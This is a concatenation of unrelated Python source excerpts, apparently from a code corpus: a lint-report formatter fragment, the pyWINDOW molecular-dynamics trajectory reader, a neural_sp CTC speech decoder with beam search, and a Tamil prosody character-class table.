self.warned.sort(key=operator.attrgetter("message", "module_name"))
self.failed.sort(key=operator.attrgetter("message", "module_name"))
# Find maximum module name length
max_mod_name_len = 40
for idx, tests in enumerate([self.passed, self.warned, self.failed]):
try:
for lint_result in tests:
max_mod_name_len = max(len(lint_result.module_name), max_mod_name_len)
except:
pass
# Helper function to format test links nicely
def format_result(test_results, table):
"""
Given an list of error message IDs and the message texts, return a nicely formatted
string for the terminal with appropriate ASCII colours.
"""
# TODO: Row styles don't work current as table-level style overrides.
# I'd like to make an issue about | |
<reponame>ImperialCollegeLondon/pyWINDOW<filename>pywindow/trajectory.py
"""
Module intended for the analysis of molecular dynamics trajectories.
The trajectory file (DL_POLY_C:HISTORY, PDB or XYZ) should be loaded with
the one of the corresponding classes (DLPOLY, PDB or XYZ, respectively).
Example
-------
In this example a DL_POLY_C HISTORY trajectory file is loaded.
.. code-block:: python
pywindow.trajectory.DLPOLY('path/to/HISTORY')
Then, each of the trajectory frames can be extracted and returned as a
:class:`pywindow.molecular.MolecularSystem` object for analysis. See
:mod:`pywindow.molecular` docstring for more information.
Alternatively, the analysis can be performed on a whole or a chunk of
the trajectory with the :func:`analysis()` function. The benefit is
that the analysis can be performed in parallel and the results stored as a
single JSON dictionary in a straightforward way. Also, the deciphering of the
force field atom ids and the rebuilding of molecules can be applied to each
frame in a consitent and automated manner. The downfall is that at the
moment it is not possible to choose the set of parameters that are being
calculated in the :class:`pywindow.molecular.Molecule` as the
:func:`pywindow.molecular.Molecule.full_analysis()` is invoked by default.
However, the computational cost of calculating majority of the structural
properties is miniscule and it is usually the
:func:`pywindow.molecular.MolecularSystem.rebuild_system()` step that is the
bottleneck.
"""
import os
import numpy as np
from copy import deepcopy
from mmap import mmap, ACCESS_READ
from contextlib import closing
from multiprocessing import Pool
from .io_tools import Input, Output
from .utilities import (
is_number, create_supercell, lattice_array_to_unit_cell, to_list
)
from .molecular import MolecularSystem
class _ParallelAnalysisError(Exception):
def __init__(self, message):
self.message = message
class _TrajectoryError(Exception):
def __init__(self, message):
self.message = message
class _FormatError(Exception):
def __init__(self, message):
self.message = message
class _FunctionError(Exception):
def __init__(self, message):
self.message = message
def make_supercell(system, matrix, supercell=[1, 1, 1]):
"""
Return a supercell.
This functions takes the input unitcell and creates a supercell of it that
is returned as a new :class:`pywindow.molecular.MolecularSystem`.
Parameters
----------
system : :attr:`pywindow.molecular.MolecularSystem.system`
The unit cell for creation of the supercell
matrix : :class:`numpy.array`
The unit cell parameters in form of a lattice.
supercell : :class:`list`, optional
A list that specifies the size of the supercell in the a, b and c
direction. (default=[1, 1, 1])
Returns
-------
:class:`pywindow.molecular.MolecularSystem`
Returns the created supercell as a new :class:`MolecularSystem`.
"""
user_supercell = [[1, supercell[0]], [1, supercell[1]], [1, supercell[1]]]
system = create_supercell(system, matrix, supercell=user_supercell)
return MolecularSystem.load_system(system)
class DLPOLY(object):
"""
A container for a DL_POLY_C type trajectory (HISTORY).
This function takes a DL_POLY_C trajectory file and maps it for the
binary points in the file where each frame starts/ends. This way the
process is fast, as it not require loading the trajectory into computer
memory. When a frame is being extracted, it is only this frame that gets
loaded to the memory.
Frames can be accessed individually and loaded as an unmodified string,
returned as a :class:`pywindow.molecular.MolecularSystem` (and analysed),
dumped as PDB or XYZ or JSON (if dumped as a
:attr:`pywindow.molecular.MolecularSystem.system`)
Attributes
----------
filepath : :class:`str`
The filepath.
system_id : :class:`str`
The system id inherited from the filename.
frames : :class:`dict`
A dictionary that is populated, on the fly, with the extracted frames.
analysis_output : :class:`dict`
A dictionary that is populated, on the fly, with the analysis output.
"""
def __init__(self, filepath):
# Image conventions - periodic boundary key.
self._imcon = {
0: 'nonperiodic',
1: 'cubic',
2: 'orthorhombic',
3: 'parallelepiped',
4: 'truncated octahedral',
5: 'rhombic dodecahedral',
6: 'x-y parallelogram',
7: 'hexagonal prism',
}
# Trajectory key - content type.
self._keytrj = {
0: 'coordinates',
1: 'coordinates and velocities',
2: 'coordinates, velocities and forces',
}
self.filepath = filepath
self.system_id = os.path.basename(filepath)
self.frames = {}
self.analysis_output = {}
# Check the history file at init, if no errors, proceed to mapping.
self._check_HISTORY()
# Map the trajectory file at init.
self._map_HISTORY()
def _map_HISTORY(self):
""" """
self.trajectory_map = {}
with open(self.filepath, 'r') as trajectory_file:
with closing(
mmap(
trajectory_file.fileno(), 0,
access=ACCESS_READ)) as mapped_file:
progress = 0
line = 0
frame = 0
cell_param_line = 0
# We need to first process trajectory file's header.
header_flag = True
while progress <= len(mapped_file):
line = line + 1
# We read a binary data from a mapped file.
bline = mapped_file.readline()
# If the bline length equals zero we terminate.
# We reached end of the file but still add the last frame!
if len(bline) == 0:
self.trajectory_map[frame] = [frame_start, progress]
frame = frame + 1
break
# We need to decode byte line into an utf-8 string.
sline = bline.decode("utf-8").strip('\n').split()
# We extract map's byte coordinates for each frame
if header_flag is False:
if sline[0] == 'timestep':
self.trajectory_map[frame] = [
frame_start, progress
]
frame_start = progress
frame = frame + 1
# Here we extract the map's byte coordinates for the header
# And also the periodic system type needed for later.
if header_flag is True:
if sline[0] == 'timestep':
self.trajectory_map['header'] = self._decode_head(
[0, progress])
frame_start = progress
header_flag = False
progress = progress + len(bline)
self.no_of_frames = frame
def _decode_head(self, header_coordinates):
start, end = header_coordinates
with open(self.filepath, 'r') as trajectory_file:
with closing(
mmap(
trajectory_file.fileno(), 0,
access=ACCESS_READ)) as mapped_file:
header = [
i.split()
for i in mapped_file[start:end].decode("utf-8").split('\n')
]
header = [int(i) for i in header[1]]
self.periodic_boundary = self._imcon[header[1]]
self.content_type = self._keytrj[header[0]]
self.no_of_atoms = header[2]
return header
def get_frames(self, frames='all', override=False, **kwargs):
"""
Extract frames from the trajectory file.
Depending on the passed parameters a frame, a list of particular
frames, a range of frames (from, to), or all frames can be extracted
with this function.
Parameters
----------
frames : :class:`int` or :class:`list` or :class:`touple` or :class:`str`
Specified frame (:class:`int`), or frames (:class:`list`), or
range (:class:`touple`), or `all`/`everything` (:class:`str`).
(default=`all`)
override : :class:`bool`
If True, a frame already storred in :attr:`frames` can be override.
(default=False)
extract_data : :class:`bool`, optional
If False, a frame is returned as a :class:`str` block as in the
trajectory file. Ohterwise, it is extracted and returned as
:class:`pywindow.molecular.MolecularSystem`. (default=True)
swap_atoms : :class:`dict`, optional
If this kwarg is passed with an appropriate dictionary a
:func:`pywindow.molecular.MolecularSystem.swap_atom_keys()` will
be applied to the extracted frame.
forcefield : :class:`str`, optional
If this kwarg is passed with appropriate forcefield keyword a
:func:`pywindow.molecular.MolecularSystem.decipher_atom_keys()`
will be applied to the extracted frame.
Returns
-------
:class:`pywindow.molecular.MolecularSystem`
If a single frame is extracted.
None : :class:`NoneType`
If more than one frame is extracted, the frames are returned to
:attr:`frames`
"""
if override is True:
self.frames = {}
if isinstance(frames, int):
frame = self._get_frame(
self.trajectory_map[frames], frames, **kwargs)
if frames not in self.frames.keys():
self.frames[frames] = frame
return frame
if isinstance(frames, list):
for frame in frames:
if frame not in self.frames.keys():
self.frames[frame] = self._get_frame(
self.trajectory_map[frame], frame, **kwargs)
if isinstance(frames, tuple):
for frame in range(frames[0], frames[1]):
if frame not in self.frames.keys():
self.frames[frame] = self._get_frame(
self.trajectory_map[frame], frame, **kwargs)
if isinstance(frames, str):
if frames in ['all', 'everything']:
for frame in range(0, self.no_of_frames):
if frame not in self.frames.keys():
self.frames[frame] = self._get_frame(
self.trajectory_map[frame], frame, **kwargs)
def _get_frame(self, frame_coordinates, frame_no, **kwargs):
kwargs_ = {
"extract_data": True
}
kwargs_.update(kwargs)
start, end = frame_coordinates
with open(self.filepath, 'r') as trajectory_file:
with closing(
mmap(
trajectory_file.fileno(), 0,
access=ACCESS_READ)) as mapped_file:
if kwargs_["extract_data"] is False:
return mapped_file[start:end].decode("utf-8")
else:
# [:-1] because the split results in last list empty.
frame = [
i.split()
for i in mapped_file[start:end].decode("utf-8").split(
'\n')
][:-1]
decoded_frame = self._decode_frame(frame)
molsys = MolecularSystem.load_system(
decoded_frame,
"_".join([self.system_id, str(frame_no)]))
if 'swap_atoms' in kwargs:
molsys.swap_atom_keys(kwargs['swap_atoms'])
if 'forcefield' in kwargs:
molsys.decipher_atom_keys(kwargs['forcefield'])
return molsys
def _decode_frame(self, frame):
frame_data = {
'frame_info': {
'nstep': int(frame[0][1]),
'natms': int(frame[0][2]),
'keytrj': int(frame[0][3]),
'imcon': int(frame[0][4]),
'tstep': float(frame[0][5])
}
}
start_line = 1
if frame_data['frame_info']['imcon'] in [1, 2, 3]:
frame_data['lattice'] = np.array(frame[1:4], dtype=float).T
frame_data['unit_cell'] = lattice_array_to_unit_cell(frame_data[
'lattice'])
start_line = 4
# Depending on what the trajectory key is (see __init__) we need
# to extract every second/ third/ fourth line for elements and coor.
elements = []
coordinates = []
velocities = []
forces = []
for i in range(len(frame[start_line:])):
i_ = i + start_line
if frame_data['frame_info']['keytrj'] == 0:
if i % 2 == 0:
elements.append(frame[i_][0])
if i % 2 == 1:
coordinates.append(frame[i_])
if frame_data['frame_info']['keytrj'] == 1:
if i % 3 == 0:
elements.append(frame[i_][0])
if i % 3 == 1:
coordinates.append(frame[i_])
if i % 3 == 2:
velocities.append(frame[i_])
if frame_data['frame_info']['keytrj'] == 2:
if i | |
# Copyright 2019 Kyoto University (<NAME>)
# Apache 2.0 (http://www.apache.org/licenses/LICENSE-2.0)
"""CTC decoder."""
from collections import OrderedDict
from distutils.version import LooseVersion
from itertools import groupby
import logging
import numpy as np
import random
import torch
import torch.nn as nn
from neural_sp.models.criterion import kldiv_lsm_ctc
from neural_sp.models.seq2seq.decoders.decoder_base import DecoderBase
from neural_sp.models.torch_utils import make_pad_mask
from neural_sp.models.torch_utils import np2tensor
from neural_sp.models.torch_utils import pad_list
from neural_sp.models.torch_utils import tensor2np
random.seed(1)
# LOG_0 = float(np.finfo(np.float32).min)
LOG_0 = -1e10
LOG_1 = 0
logger = logging.getLogger(__name__)
class CTC(DecoderBase):
"""Connectionist temporal classificaiton (CTC).
Args:
eos (int): index for <eos> (shared with <sos>)
blank (int): index for <blank>
enc_n_units (int):
vocab (int): number of nodes in softmax layer
dropout (float): dropout probability for the RNN layer
lsm_prob (float): label smoothing probability
fc_list (list):
param_init (float): parameter initialization method
backward (bool): flip the output sequence
"""
def __init__(self,
eos,
blank,
enc_n_units,
vocab,
dropout=0.,
lsm_prob=0.,
fc_list=None,
param_init=0.1,
backward=False):
super(CTC, self).__init__()
self.eos = eos
self.blank = blank
self.vocab = vocab
self.lsm_prob = lsm_prob
self.bwd = backward
self.space = -1 # TODO(hirofumi): fix later
# for posterior plot
self.prob_dict = {}
self.data_dict = {}
# Fully-connected layers before the softmax
if fc_list is not None and len(fc_list) > 0:
_fc_list = [int(fc) for fc in fc_list.split('_')]
fc_layers = OrderedDict()
for i in range(len(_fc_list)):
input_dim = enc_n_units if i == 0 else _fc_list[i - 1]
fc_layers['fc' + str(i)] = nn.Linear(input_dim, _fc_list[i])
fc_layers['dropout' + str(i)] = nn.Dropout(p=dropout)
fc_layers['fc' + str(len(_fc_list))] = nn.Linear(_fc_list[-1], vocab)
self.output = nn.Sequential(fc_layers)
else:
self.output = nn.Linear(enc_n_units, vocab)
self.use_warpctc = LooseVersion(torch.__version__) < LooseVersion("1.4.0")
if self.use_warpctc:
import warpctc_pytorch
self.ctc_loss = warpctc_pytorch.CTCLoss(size_average=True)
else:
self.ctc_loss = nn.CTCLoss(reduction="sum")
self.forced_aligner = CTCForcedAligner()
def forward(self, eouts, elens, ys, forced_align=False):
"""Compute CTC loss.
Args:
eouts (FloatTensor): `[B, T, enc_n_units]`
elens (list): length `B`
ys (list): length `B`, each of which contains a list of size `[L]`
Returns:
loss (FloatTensor): `[1]`
trigger_points (IntTensor): `[B, L]`
"""
# Concatenate all elements in ys for warpctc_pytorch
ylens = np2tensor(np.fromiter([len(y) for y in ys], dtype=np.int32))
ys_ctc = torch.cat([np2tensor(np.fromiter(y[::-1] if self.bwd else y, dtype=np.int32))
for y in ys], dim=0)
# NOTE: do not copy to GPUs here
# Compute CTC loss
logits = self.output(eouts)
loss = self.loss_fn(logits.transpose(1, 0), ys_ctc, elens, ylens)
# Label smoothing for CTC
if self.lsm_prob > 0:
loss = loss * (1 - self.lsm_prob) + kldiv_lsm_ctc(logits, elens) * self.lsm_prob
trigger_points = self.forced_align(logits, elens, ys, ylens) if forced_align else None
if not self.training:
self.data_dict['elens'] = tensor2np(elens)
self.prob_dict['probs'] = tensor2np(torch.softmax(logits, dim=-1))
return loss, trigger_points
def loss_fn(self, logits, ys_ctc, elens, ylens):
if self.use_warpctc:
loss = self.ctc_loss(logits, ys_ctc, elens.cpu(), ylens).to(logits.device)
# NOTE: ctc loss has already been normalized by bs
# NOTE: index 0 is reserved for blank in warpctc_pytorch
else:
# Use the deterministic CuDNN implementation of CTC loss to avoid
# [issue#17798](https://github.com/pytorch/pytorch/issues/17798)
with torch.backends.cudnn.flags(deterministic=True):
loss = self.ctc_loss(logits.log_softmax(2),
ys_ctc, elens, ylens) / logits.size(1)
return loss
def forced_align(self, logits, elens, ys, ylens):
"""Forced alignment with references.
Args:
logits (FloatTensor): `[B, T, vocab]`
elens (list): length `B`
ys (list): length `B`, each of which contains a list of size `[L]`
ylens (list): length `B`
Returns:
trigger_points (IntTensor): `[B, L]`
"""
with torch.no_grad():
ys = [np2tensor(np.fromiter(y, dtype=np.int64), logits.device) for y in ys]
ys_in_pad = pad_list(ys, 0)
trigger_points = self.forced_aligner.align(logits.clone(), elens, ys_in_pad, ylens)
return trigger_points
def trigger_points(self, eouts, elens):
"""Extract trigger points for inference.
Args:
eouts (FloatTensor): `[B, T, enc_n_units]`
elens (IntTensor): `[B]`
Returns:
trigger_points_pred (IntTensor): `[B, L]`
"""
bs, xmax, _ = eouts.size()
log_probs = torch.log_softmax(self.output(eouts), dim=-1)
best_paths = log_probs.argmax(-1) # `[B, L]`
hyps = []
for b in range(bs):
indices = [best_paths[b, t].item() for t in range(elens[b])]
# Step 1. Collapse repeated labels
collapsed_indices = [x[0] for x in groupby(indices)]
# Step 2. Remove all blank labels
best_hyp = [x for x in filter(lambda x: x != self.blank, collapsed_indices)]
hyps.append(best_hyp)
ymax = max([len(h) for h in hyps])
# pick up trigger points
trigger_points_pred = log_probs.new_zeros((bs, ymax + 1), dtype=torch.int32) # +1 for <eos>
for b in range(bs):
n_triggers = 0
for t in range(elens[b]):
token_idx = best_paths[b, t]
if token_idx == self.blank:
continue
if not (t == 0 or token_idx != best_paths[b, t - 1]):
continue
# NOTE: select the most left trigger points
trigger_points_pred[b, n_triggers] = t
n_triggers += 1
return trigger_points_pred
def greedy(self, eouts, elens):
"""Greedy decoding.
Args:
eouts (FloatTensor): `[B, T, enc_n_units]`
elens (np.ndarray): `[B]`
Returns:
hyps (np.ndarray): Best path hypothesis. `[B, L]`
"""
log_probs = torch.log_softmax(self.output(eouts), dim=-1)
best_paths = log_probs.argmax(-1) # `[B, L]`
hyps = []
for b in range(eouts.size(0)):
indices = [best_paths[b, t].item() for t in range(elens[b])]
# Step 1. Collapse repeated labels
collapsed_indices = [x[0] for x in groupby(indices)]
# Step 2. Remove all blank labels
best_hyp = [x for x in filter(lambda x: x != self.blank, collapsed_indices)]
hyps.append(np.array(best_hyp))
return np.array(hyps)
def beam_search(self, eouts, elens, params, idx2token,
lm=None, lm_second=None, lm_second_rev=None,
nbest=1, refs_id=None, utt_ids=None, speakers=None):
"""Beam search decoding.
Args:
eouts (FloatTensor): `[B, T, enc_n_units]`
elens (list): length `B`
params (dict):
recog_beam_width (int): size of beam
recog_length_penalty (float): length penalty
recog_lm_weight (float): weight of first path LM score
recog_lm_second_weight (float): weight of second path LM score
recog_lm_bwd_weight (float): weight of second path backward LM score
idx2token (): converter from index to token
lm: firsh path LM
lm_second: second path LM
lm_second_rev: secoding path backward LM
nbest (int):
refs_id (list): reference list
utt_ids (list): utterance id list
speakers (list): speaker list
Returns:
best_hyps (list): Best path hypothesis. `[B, L]`
"""
bs = eouts.size(0)
beam_width = params['recog_beam_width']
lp_weight = params['recog_length_penalty']
lm_weight = params['recog_lm_weight']
lm_weight_second = params['recog_lm_second_weight']
if lm is not None:
assert lm_weight > 0
lm.eval()
if lm_second is not None:
assert lm_weight_second > 0
lm_second.eval()
best_hyps = []
log_probs = torch.log_softmax(self.output(eouts), dim=-1)
for b in range(bs):
# Elements in the beam are (prefix, (p_b, p_no_blank))
# Initialize the beam with the empty sequence, a probability of
# 1 for ending in blank and zero for ending in non-blank (in log space).
beam = [{'hyp': [self.eos], # <eos> is used for LM
'p_b': LOG_1,
'p_nb': LOG_0,
'score_lm': LOG_1,
'lmstate': None}]
for t in range(elens[b]):
new_beam = []
# Pick up the top-k scores
log_probs_topk, topk_ids = torch.topk(
log_probs[b:b + 1, t], k=min(beam_width, self.vocab), dim=-1, largest=True, sorted=True)
for i_beam in range(len(beam)):
hyp = beam[i_beam]['hyp'][:]
p_b = beam[i_beam]['p_b']
p_nb = beam[i_beam]['p_nb']
score_lm = beam[i_beam]['score_lm']
# case 1. hyp is not extended
new_p_b = np.logaddexp(p_b + log_probs[b, t, self.blank].item(),
p_nb + log_probs[b, t, self.blank].item())
if len(hyp) > 1:
new_p_nb = p_nb + log_probs[b, t, hyp[-1]].item()
else:
new_p_nb = LOG_0
score_ctc = np.logaddexp(new_p_b, new_p_nb)
score_lp = len(hyp[1:]) * lp_weight
new_beam.append({'hyp': hyp,
'score': score_ctc + score_lm + score_lp,
'p_b': new_p_b,
'p_nb': new_p_nb,
'score_ctc': score_ctc,
'score_lm': score_lm,
'score_lp': score_lp,
'lmstate': beam[i_beam]['lmstate']})
# Update LM states for shallow fusion
if lm is not None:
_, lmstate, lm_log_probs = lm.predict(
eouts.new_zeros(1, 1).fill_(hyp[-1]), beam[i_beam]['lmstate'])
else:
lmstate = None
# case 2. hyp is extended
new_p_b = LOG_0
for c in tensor2np(topk_ids)[0]:
p_t = log_probs[b, t, c].item()
if c == self.blank:
continue
c_prev = hyp[-1] if len(hyp) > 1 else None
if c == c_prev:
new_p_nb = p_b + p_t
# TODO(hirofumi): apply character LM here
else:
new_p_nb = np.logaddexp(p_b + p_t, p_nb + p_t)
# TODO(hirofumi): apply character LM here
if c == self.space:
pass
# TODO(hirofumi): apply word LM here
score_ctc = np.logaddexp(new_p_b, new_p_nb)
score_lp = (len(hyp[1:]) + 1) * lp_weight
if lm_weight > 0 and lm is not None:
local_score_lm = lm_log_probs[0, 0, c].item() * lm_weight
score_lm += local_score_lm
new_beam.append({'hyp': hyp + [c],
'score': score_ctc + score_lm + score_lp,
'p_b': new_p_b,
'p_nb': new_p_nb,
'score_ctc': score_ctc,
'score_lm': score_lm,
'score_lp': score_lp,
'lmstate': lmstate})
# Pruning
beam = sorted(new_beam, key=lambda x: x['score'], reverse=True)[:beam_width]
# Rescoing alignments
if lm_second is not None:
new_beam = []
for i_beam in range(len(beam)):
ys = [np2tensor(np.fromiter(beam[i_beam]['hyp'], dtype=np.int64), eouts.device)]
ys_pad = pad_list(ys, lm_second.pad)
_, _, lm_log_probs = lm_second.predict(ys_pad, None)
score_ctc = np.logaddexp(beam[i_beam]['p_b'], beam[i_beam]['p_nb'])
score_lm = lm_log_probs.sum() * lm_weight_second
score_lp = len(beam[i_beam]['hyp'][1:]) * lp_weight
new_beam.append({'hyp': beam[i_beam]['hyp'],
'score': score_ctc + score_lm + score_lp,
'score_ctc': score_ctc,
'score_lp': score_lp,
'score_lm': score_lm})
beam = sorted(new_beam, key=lambda x: x['score'], reverse=True)
best_hyps.append(np.array(beam[0]['hyp'][1:]))
| |
<filename>yaappu/utils.py
import grammar
from itertools import islice
from operator import itemgetter
from collections import Counter
from enum import IntEnum
_TREAT_AAYDHAM_AS_KURIL = False
_TREAT_KUTRIYALIGARAM_AS_OTRU = False
AYDHAM = ('ஃ')
UYIRGAL = ("அ","ஆ","இ","ஈ","உ","ஊ","எ","ஏ","ஐ","ஒ","ஓ","ஔ")
MEYGAL=("க்","ங்","ச்","ஞ்","ட்","ண்","த்","ந்","ன்","ப்","ம்","ய்","ர்","ற்","ல்","ள்","ழ்","வ்","ஜ்","ஷ்","ஸ்","ஹ்","க்ஷ்","ஃ","்",)
AIKAARAM = ("ஐ","கை","ஙை","சை","ஞை","டை","ணை","தை","நை","னை","பை","மை","யை","ரை","றை","லை","ளை","ழை",
"வை","ஜை","ஷை","ஸை","ஹை","க்ஷை","ை",)
AUKAARAM = ("ஔ","கௌ","ஙௌ","சௌ","ஞௌ","டௌ","ணௌ","தௌ","நௌ","னௌ","பௌ",
"மௌ","யௌ","ரௌ","றௌ","லௌ","ளௌ","ழௌ","வௌ","ஜௌ","ஷௌ","ஸௌ","ஹௌ","க்ஷௌ","ௌ",)
KURILGAL = ("அ","இ","உ","எ","ஐ","ஒ", "க","கி","கு","கெ","கை","கொ",
"ங","ஙி","ஙு","ஙெ","ஙை","ஙொ","ச","சி","சு","செ","சை","சொ","ஞ","ஞி","ஞு","ஞெ","ஞை","ஞொ",
"ட","டி","டு","டெ","டை","டொ","ண","ணி","ணு","ணெ","ணை","ணொ","த","தி","து","தெ","தை","தொ",
"ந","நி","நு","நெ","நை","நொ","ன","னி","னு","னெ","னை","னொ","ப","பி","பு","பெ","பை","பொ",
"ம","மி","மு","மெ","மை","மொ","ய","யி","யு","யெ","யை","யொ","ர","ரி","ரு","ரெ","ரை","ரொ",
"ற","றி","று","றெ","றை","றொ","ல","லி","லு","லெ","லை","லொ","ள","ளி","ளு","ளெ","ளை","ளொ",
"ழ","ழி","ழு","ழெ","ழை","ழொ","வ","வி","வு","வெ","வை","வொ","ஜ","ஜி","ஜூ","ஜெ","ஜை","ஜொ",
"ஷ","ஷி","ஷூ","ஷெ","ஷை","ஷொ", "ஸ","ஸி","ஸூ","ஸெ","ஸை","ஸொ","ஹ","ஹி","ஹூ","ஹெ","ஹை","ஹொ",
"க்ஷ","க்ஷி","க்ஷூ","க்ஷெ","க்ஷை","க்ஷை","க்ஷொ","ி","ு","ெ","ை","ொ",AUKAARAM,)
NEDILGAL = ("ஆ","ஈ","ஊ","ஏ","ஓ","கா","கீ","கூ","கே","கோ","ஙா","ஙீ","ஙூ","ஙே","ஙோ",
"சா","சீ","சூ","சே","சோ","ஞா","ஞீ","ஞூ","ஞே","ஞோ","டா","டீ","டூ","டே","டோ","ணா","ணீ","ணூ","ணே","ணோ",
"தா","தீ","தூ","தே","தோ","நா","நீ","நூ","நே","நோ","னா","னீ","னூ","னே","னோ","பா","பீ","பூ","பே","போ",
"மா","மீ","மூ","மே","மோ","யா","யீ","யூ","யே","யோ","ரா","ரீ","ரூ","ரே","ரோ","றா","றீ","றூ","றே","றோ",
"லா","லீ","லூ","லே","லோ","ளா","ளீ","ளூ","ளே","ளோ","ழா","ழீ","ழூ","ழே","ழோ","வா","வீ","வூ","வே","வோ",
"ஜா","ஜீ","ஜு","ஜே","ஜோ","ஷா","ஷீ","ஷு","ஷே","ஷோ","ஸா","ஸீ","ஸு","ஸே","ஸோ",
"ஹா","ஹீ","ஹு","ஹே","ஹோ","க்ஷா","க்ஷீ","க்ஷு","க்ஷே","க்ஷோ","ா","ீ","ூ","ே","ோ",)
KUTRIYALUGARAM = ("கு","சு","டு","து","பு","று")
KUTRIYALIGARAM = ("கி","சி","டி","தி","பி","றி","மி",'னி')
VALLINAM = ("க","கா","கி","கீ","கூ","கு","கெ","கே","கை","கொ","கோ","கௌ","ச","சா","சி","சீ","சூ","சு","செ","சே","சை","சொ","சோ","சௌ","ட","டா","டி","டீ","டூ","டு","டெ","டே","டை","டொ","டோ","டௌ","த","தா","தி","தீ","தூ","து","தெ","தே","தை","தொ","தோ","தௌ","ப","பா","பி","பீ","பூ","பு","பெ","பே","பை","பொ","போ","பௌ","ற","றா","றி","றீ","றூ","று","றெ","றே","றை","றொ","றோ","றௌ", "க்","ச்", "ட்", "த்", "ப்", "ற்", )
MELLINAM = ("ங","ஙா","ஙி","ஙீ","ஙூ","ஙு","ஙெ","ஙே","ஙை","ஙொ","ஙோ","ஙௌ","ஞ","ஞா","ஞி","ஞீ","ஞூ","ஞு","ஞெ","ஞே","ஞை","ஞொ","ஞோ","ஞௌ","ண","ணா","ணி","ணீ","ணூ","ணு","ணெ","ணே","ணை","ணொ","ணோ","ணௌ","ந","நா","நி","நீ","நூ","நு","நெ","நே","நை","நொ","நோ","நௌ","ம","மா","மி","மீ","மூ","மு","மெ","மே","மை","மொ","மோ","மௌ","ன","னா","னி","னீ","னூ","னு","னெ","னே","னை","னொ","னோ","னௌ","ங்", "ஞ்", "ண்", "ந்", "ன்", "ம்",)
YIDAIYINAM = ("ய","யா","யி","யீ","யூ","யு","யெ","யே","யை","யொ","யோ","யௌ","ர","ரா","ரி","ரீ","ரூ","ரு","ரெ","ரே","ரை","ரொ","ரோ","ரௌ","ல","லா","லி","லீ","லூ","லு","லெ","லே","லை","லொ","லோ","லௌ","வ","வா","வி","வீ","வூ","வு","வெ","வே","வை","வொ","வோ","வௌ","ழ","ழா","ழி","ழீ","ழூ","ழு","ழெ","ழே","ழை","ழொ","ழோ","ழௌ","ள","ளா","ளி","ளீ","ளூ","ளு","ளெ","ளே","ளை","ளொ","ளோ","ளௌ","ய்", "ர்", "ல்", "ள்", "ழ்", "வ்",)
VARUKKA_EDHUGAI = ("அ","இ","உ","எ","ஒ","ஐ","க","கி","கு","கெ","கொ","கை","ங","ஙி","ஙு","ஙெ","ஙொ","ஙை",
"ச","சி","சு","செ","சொ","சை","ஞ","ஞி","ஞு","ஞெ","ஞொ","ஞை","ட","டி","டு","டெ","டொ","டை","ண","ணி","ணு","ணெ","ணொ","ணை",
"த","தி","து","தெ","தொ","தை","ந","நி","நு","நெ","நொ","நை","ன","னி","னு","னெ","னொ","னை","ப","பி","பு","பெ","பொ","பை",
"ம","மி","மு","மெ","மொ","மை","ய","யி","யு","யெ","யொ","யை", "ர","ரி","ரு","ரெ","ரொ","ரை","ற","றி","று","றெ","றொ","றை",
"ல","லி","லு","லெ","லொ","லை","ள","ளி","ளு","ளெ","ளொ","ளை","ழ","ழி","ழு","ழெ","ழொ","ழை",
"வ","வி","வு","வெ","வொ","வை","ஜ","ஜி","ஜூ","ஜெ","ஜை","ஜொ","ஷ","ஷி","ஷூ","ஷெ","ஷை","ஷொ",
"ஸ","ஸி","ஸூ","ஸெ","ஸை","ஸொ","ஹ","ஹி","ஹூ","ஹெ","ஹை","ஹொ","க்ஷ","க்ஷி","க்ஷூ","க்ஷெ","க்ஷை","க்ஷொ",
"ி","ு","ெ","ொ","ை",)
VALLINA_EDHUGAI = ("க", "ச", "ட", "த", "ப", "ற", "கா", "சா", "டா", "தா", "பா", "றா",
"கி", "சி", "டி", "தி", "பி", "றி", "கீ", "சீ", "டீ", "தீ", "பீ", "றீ", "கு", "சு", "டு", "து", "பு", "று", "கூ", "சூ", "டூ", "தூ", "பூ", "றூ",
"கெ", "செ", "டெ", "தெ", "பெ", "றெ", "கே", "சே", "டே", "தே", "பே", "றே", "கை","சை", "டை", "தை", "பை", "றை", "கொ", "சொ", "டொ", "தொ", "பொ","றொ",
"கோ", "சோ", "டோ", "தோ", "போ", "றோ", "கௌ", "சௌ", "டௌ", "தௌ", "பௌ", "றௌ", "க்","ச்", "ட்", "த்", "ப்", "ற்", )
YAGARA_VARISAI = ("ய","யா","யி","யீ","யு","யூ","யெ","யே","யை","யொ","யோ","யௌ",)
VAGARA_VARISAI = {"வ","வா","வி","வீ","வு","வூ","வெ","வே","வை","வொ","வோ","வௌ",}
YIDAIYINA_EDHUGAI = ("ய", "ர", "ல", "ள", "ழ", "வ", "யா", "ரா", "லா", "ளா", "ழா", "வா", "யி", "ரி", "லி", "ளி", "ழி", "வி",
"யீ", "ரீ", "லீ", "ளீ", "ழீ", "வீ", "யு", "ரு", "லு", "ளு", "ழு", "வு", "யூ", "ரூ", "லூ", "ளூ", "ழூ", "வூ", "யெ", "ரெ", "லெ", "ளெ", "ழெ", "வெ",
"யே", "ரே", "லே", "ளே", "ழே", "வே", "யை", "ரை", "லை", "ளை", "ழை", "வை", "யொ", "ரொ", "லொ", "ளொ", "ழொ", "வொ",
"யோ", "ரோ", "லோ", "ளோ", "ழோ", "வோ", "யௌ", "ரௌ", "லௌ", "ளௌ", "ழௌ", "வௌ", "ய்", "ர்", "ல்", "ள்", "ழ்", "வ்", )
MELLINA_EDHUGAI = ("ங", "ஞ", "ண", "ந", "ன", "ம", "ஙா", "ஞா", "ணா", "நா", "னா", "மா",
"ஙி", "ஞி", "ணி", "நி", "னி", "மி", "ஙீ", "ஞீ", "ணீ", "நீ", "னீ", "மீ", "ஙூ", "ஞூ", "ணூ", "நூ", "னூ", "மூ", "ஙு", "ஞு", "ணு", "நு", "னு", "மு",
"ஙெ", "ஞெ", "ணெ", "நெ", "னெ", "மெ", "ஙே", "ஞே", "ணே", "நே", "னே", "மே", "ஙை", "ஞை", "ணை", "நை", "னை", "மை",
"ஙொ", "ஞொ", "ணொ", "நொ", "னொ", "மொ", "ஙோ", "ஞோ", "ணோ", "நோ", "னோ", "மோ", "ஙௌ", "ஞௌ", "ணௌ", "நௌ", "னௌ", "மௌ",
"ங்", "ஞ்", "ண்", "ந்", "ன்", "ம்", )
TAMIL_UNICODE_1 = ("க","ங","ச","ஞ","ட","ண","த","ந","ன","ப","ம","ய","ர","ற","ல","ள","ழ","வ","ஜ", "ஷ", "ஸ", "ஹ", "க்ஷ",)
TAMIL_UNICODE_2 = ("ா","ி","ீ","ூ","ு","ெ","ே","ை","ொ","ோ","ௌ","்",)
